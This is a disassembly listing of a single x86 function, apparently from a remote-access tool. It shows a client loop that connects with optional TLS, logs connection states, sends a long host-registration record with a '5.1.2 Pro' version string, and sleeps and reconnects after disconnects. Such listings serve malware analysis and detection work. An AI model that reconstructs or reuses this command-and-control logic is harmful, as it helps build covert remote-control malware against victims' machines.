Function at 0xb34f65
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa2c
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.00b220df
lea ecx, [ebp - 0x114]
call fcn.00b3b944
lea ecx, [ebp - 0x63c]
call fcn.00b220df
mov edi, 0xb950e4
push 0x29
mov ecx, edi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call fcn.00b5bb2c
pop ecx
test eax, eax
je 0xb34fbc
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0xb8c678
call fcn.00b22093
push 0
mov ecx, edi
call fcn.00b21e65
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00b220f6
lea ecx, [ebp - 0x48]
call fcn.00b3beac
add esp, 0x30
xor ebx, ebx
call fcn.00b2489e
push 0x38
mov ecx, edi
call fcn.00b21e65
mov edx, 0xb860b4
mov ecx, eax
call fcn.00b2b9f8
test al, al
je 0xb3507c
push 0x38
mov ecx, edi
call fcn.00b21e65
mov ecx, eax
call fcn.00b2247c
push eax
push 0x38
mov ecx, edi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
push 0x37
mov ecx, edi
call fcn.00b21e65
mov ecx, eax
call fcn.00b2247c
push eax
push 0x37
mov ecx, edi
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
push 0x36
mov ecx, edi
call fcn.00b21e65
mov ecx, eax
call fcn.00b2247c
push 0x36
mov ecx, edi
mov esi, eax
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov edx, esi
mov ecx, eax
call fcn.00b2473d
add esp, 0x10
sub esp, 0x18
mov byte [0xb955c9], 1
mov ecx, esp
push 0xb8c67c
call fcn.00b22093
push ebx
lea ecx, [ebp - 0x48]
call fcn.00b21e65
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00b220f6
lea ecx, [ebp - 0xc]
call fcn.00b3beac
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.00b21e65
push eax
push 0xb8c67c
push 0
lea ecx, [ebp - 0xc]
call fcn.00b21e65
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.00b26c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00b22f10
pop ecx
push eax
mov ecx, 0xb955cc
call fcn.00b21fe2
lea ecx, [ebp - 0x24]
call fcn.00b21fd8
lea ecx, [ebp - 0x3c]
call fcn.00b21fd8
push 2
lea ecx, [ebp - 0xc]
call fcn.00b21e65
mov edx, 0xb8612c
mov ecx, eax
call fcn.00b25b05
lea ecx, [ebp - 0x60]
test al, al
je 0xb35127
mov byte [0xb92ae4], 0
push str.TLS_Off
jmp 0xb35133
mov byte [0xb92ae4], 1
push str.TLS_On
call fcn.00b25aa6
sub esp, 0x18
lea eax, [ebp - 0x60]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0xb955cc
push 0xb8c690
push eax
call fcn.00b2531e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00b26383
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b22f10
sub esp, 0x14
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00b21fd8
lea ecx, [ebp - 0x3c]
call fcn.00b21fd8
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov edx, esi
mov ecx, eax
call fcn.00b34f24
test eax, eax
je 0xb35210
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00b3cb72
sub esp, 0x18
mov edx, str.Connection_Error:
mov ecx, esp
push eax
call fcn.00b252fd
sub esp, 0x14
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00b21fd8
mov esi, 0xb95598
jmp 0xb35ade
mov esi, 0xb95598
mov ecx, esi
call fcn.00b2482d
test al, al
jne 0xb3524b
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
jmp 0xb35ade
push 0
push 0x3c
mov ecx, esi
call fcn.00b24f51
push ecx
mov ecx, esi
call fcn.00b248c8
test al, al
je 0xb35ade
push 1
lea ecx, [ebp - 0xc]
call fcn.00b21e65
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0xb8c67c
push 0
call fcn.00b21e65
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0xb8c690
push eax
lea ecx, [ebp - 0xfc]
call fcn.00b2531e
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00b26383
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b22f10
sub esp, 0x14
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [ebp - 0x78]
call fcn.00b21fd8
lea ecx, [ebp - 0xcc]
call fcn.00b21fd8
lea ecx, [ebp - 0xe4]
call fcn.00b21fd8
lea ecx, [ebp - 0xfc]
call fcn.00b21fd8
mov byte [ebp - 0x9c], 0
lea edi, [ebp - 0x9b]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00b3b871
push edx
push eax
lea eax, [ebp - 0x9c]
push str._I64u
push eax
call fcn.00b345f8
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0xb95158
call fcn.00b29097
push 0xa
lea eax, [ebp - 0x84]
push eax
push dword [0xb919d0]
call fcn.00b61ed1
add esp, 0xc
mov ecx, 0xb950e4
push 1
call fcn.00b21e65
push eax
lea ecx, [ebp - 0xb4]
call fcn.00b220f6
mov esi, 0xb95338
mov ecx, esi
call fcn.00b2247c
push eax
mov ecx, esi
call fcn.00b21fab
push eax
push 0x104
lea eax, [ebp - 0xa28]
mov esi, 0xb952f0
push eax
push str.name
mov ecx, esi
call fcn.00b21fab
mov edx, eax
call fcn.00b33733
add esp, 0x14
test al, al
je 0xb353cd
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00b25aa6
push ecx
push str.hlight
mov ecx, esi
call fcn.00b21fab
push eax
mov edx, closesocket
lea ecx, [ebp - 0x3c]
call fcn.00b335e1
mov eax, dword [0xb92d58]
add esp, 0xc
xor edi, edi
test eax, eax
je 0xb353fb
call eax
movzx edi, ax
push 0xb92b38
lea ecx, [ebp - 0x78]
call fcn.00b2417e
call fcn.00b2ddc4
mov edx, eax
lea ecx, [ebp - 0x624]
call fcn.00b3bcd3
sub esp, 0x18
mov ecx, 0xb94ee0
mov esi, esp
mov edx, 0xb952d8
push eax
push ecx
lea eax, [ebp - 0x3c]
push eax
push ecx
push 0xb95380
push ecx
lea eax, [ebp - 0x114]
push eax
push ecx
lea ecx, [ebp - 0x60c]
call fcn.00b3bdaf
push eax
push 0xb94ee0
movzx edx, di
lea ecx, [ebp - 0x5f4]
call fcn.00b3bc1f
push eax
mov edi, 0xb94ee0
lea ecx, [ebp - 0xc]
push edi
push 0xb95320
push edi
push 0
call fcn.00b21e65
push eax
push edi
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x5dc]
call fcn.00b3bc1f
push eax
push edi
call fcn.00b3bb77
mov edx, eax
lea ecx, [ebp - 0x5c4]
call fcn.00b3bc1f
mov edx, dword [0xb9513c]
lea ecx, [ebp - 0x5ac]
push eax
push edi
call fcn.00b3bc1f
push eax
push edi
lea ecx, [ebp - 0x594]
call fcn.00b3bb27
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.00b3bdaf
push eax
push edi
mov edx, 0xb94d64
lea ecx, [ebp - 0x564]
call fcn.00b3bdaf
push eax
push edi
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x54c]
call fcn.00b3bdaf
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x534]
call fcn.00b3bdaf
push eax
push edi
push str.5.1.2_Pro
push edi
lea eax, [ebp - 0x9c]
mov edx, 0xb956c8
push eax
push edi
lea ecx, [ebp - 0x51c]
call fcn.00b3bdaf
push eax
push edi
push 0xb95a00
push edi
lea ecx, [ebp - 0x504]
call fcn.00b2f90c
push eax
push edi
mov edx, 0xb95350
lea ecx, [ebp - 0x4ec]
call fcn.00b3bdaf
push eax
push edi
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4d4]
call fcn.00b22f31
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4bc]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.00b26383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.00b22f10
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b22ea1
pop ecx
mov esi, 0xb95598
push 0x4b
mov ecx, esi
call fcn.00b24aa1
lea ecx, [ebp - 0xfc]
call fcn.00b21fd8
lea ecx, [ebp - 0xe4]
call fcn.00b21fd8
lea ecx, [ebp - 0xcc]
call fcn.00b21fd8
lea ecx, [ebp - 0x12c]
call fcn.00b21fd8
lea ecx, [ebp - 0x144]
call fcn.00b21fd8
lea ecx, [ebp - 0x15c]
call fcn.00b21fd8
lea ecx, [ebp - 0x174]
call fcn.00b21fd8
lea ecx, [ebp - 0x18c]
call fcn.00b21fd8
lea ecx, [ebp - 0x1a4]
call fcn.00b21fd8
lea ecx, [ebp - 0x1bc]
call fcn.00b21fd8
lea ecx, [ebp - 0x1d4]
call fcn.00b21fd8
lea ecx, [ebp - 0x1ec]
call fcn.00b21fd8
lea ecx, [ebp - 0x204]
call fcn.00b21fd8
lea ecx, [ebp - 0x21c]
call fcn.00b21fd8
lea ecx, [ebp - 0x234]
call fcn.00b21fd8
lea ecx, [ebp - 0x24c]
call fcn.00b21fd8
lea ecx, [ebp - 0x264]
call fcn.00b21fd8
lea ecx, [ebp - 0x27c]
call fcn.00b21fd8
lea ecx, [ebp - 0x294]
call fcn.00b21fd8
lea ecx, [ebp - 0x2ac]
call fcn.00b21fd8
lea ecx, [ebp - 0x2c4]
call fcn.00b21fd8
lea ecx, [ebp - 0x2dc]
call fcn.00b21fd8
lea ecx, [ebp - 0x2f4]
call fcn.00b21fd8
lea ecx, [ebp - 0x30c]
call fcn.00b21fd8
lea ecx, [ebp - 0x324]
call fcn.00b21fd8
lea ecx, [ebp - 0x33c]
call fcn.00b21fd8
lea ecx, [ebp - 0x354]
call fcn.00b21fd8
lea ecx, [ebp - 0x36c]
call fcn.00b21fd8
lea ecx, [ebp - 0x384]
call fcn.00b21fd8
lea ecx, [ebp - 0x39c]
call fcn.00b21fd8
lea ecx, [ebp - 0x3b4]
call fcn.00b21fd8
lea ecx, [ebp - 0x3cc]
call fcn.00b21fd8
lea ecx, [ebp - 0x3e4]
call fcn.00b21fd8
lea ecx, [ebp - 0x3fc]
call fcn.00b21fd8
lea ecx, [ebp - 0x414]
call fcn.00b21fd8
lea ecx, [ebp - 0x42c]
call fcn.00b21fd8
lea ecx, [ebp - 0x444]
call fcn.00b21fd8
lea ecx, [ebp - 0x45c]
call fcn.00b21fd8
lea ecx, [ebp - 0x474]
call fcn.00b21fd8
lea ecx, [ebp - 0x48c]
call fcn.00b21fd8
lea ecx, [ebp - 0x4a4]
call fcn.00b21fd8
lea ecx, [ebp - 0x4bc]
call fcn.00b21fd8
lea ecx, [ebp - 0x4d4]
call fcn.00b21fd8
lea ecx, [ebp - 0x4ec]
call fcn.00b21fd8
lea ecx, [ebp - 0x504]
call fcn.00b21fd8
lea ecx, [ebp - 0x51c]
call fcn.00b21fd8
lea ecx, [ebp - 0x534]
call fcn.00b21fd8
lea ecx, [ebp - 0x54c]
call fcn.00b21fd8
lea ecx, [ebp - 0x564]
call fcn.00b21fd8
lea ecx, [ebp - 0x57c]
call fcn.00b21fd8
lea ecx, [ebp - 0x594]
call fcn.00b21f09
lea ecx, [ebp - 0x5ac]
call fcn.00b21fd8
lea ecx, [ebp - 0x5c4]
call fcn.00b21fd8
lea ecx, [ebp - 0x5dc]
call fcn.00b21fd8
lea ecx, [ebp - 0x5f4]
call fcn.00b21fd8
lea ecx, [ebp - 0x60c]
call fcn.00b21fd8
lea ecx, [ebp - 0x624]
call fcn.00b21fd8
lea ecx, [ebp - 0x78]
call fcn.00b21f09
push 1
push 0xb35b25
mov ecx, esi
call fcn.00b24c10
mov eax, dword [0xb92d5c]
test eax, eax
je 0xb35a65
cmp byte [0xb92d4a], 0
je 0xb35a65
call eax
mov byte [0xb92d4a], 0
cmp byte [0xb9513a], 0
je 0xb35a78
mov ecx, 0xb950f0
call fcn.00b2b08c
call fcn.00b25a6b
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb86070
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
cmp byte [0xb94ad3], 0
je 0xb35abe
xor eax, eax
push eax
push eax
push eax
push fcn.00b3ada8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x3c]
call fcn.00b21fd8
lea ecx, [ebp - 0xb4]
call fcn.00b21fd8
lea ecx, [ebp - 0x24]
call fcn.00b21f09
mov edi, 0xb950e4
mov ecx, esi
call fcn.00b24e26
lea ecx, [ebp - 0x48]
inc ebx
call fcn.00b221fa
cmp ebx, eax
jb 0xb35b18
push 2
mov ecx, edi
xor ebx, ebx
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
push eax
call fcn.00b5bb2c
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.00b21e8d
jmp 0xb3507c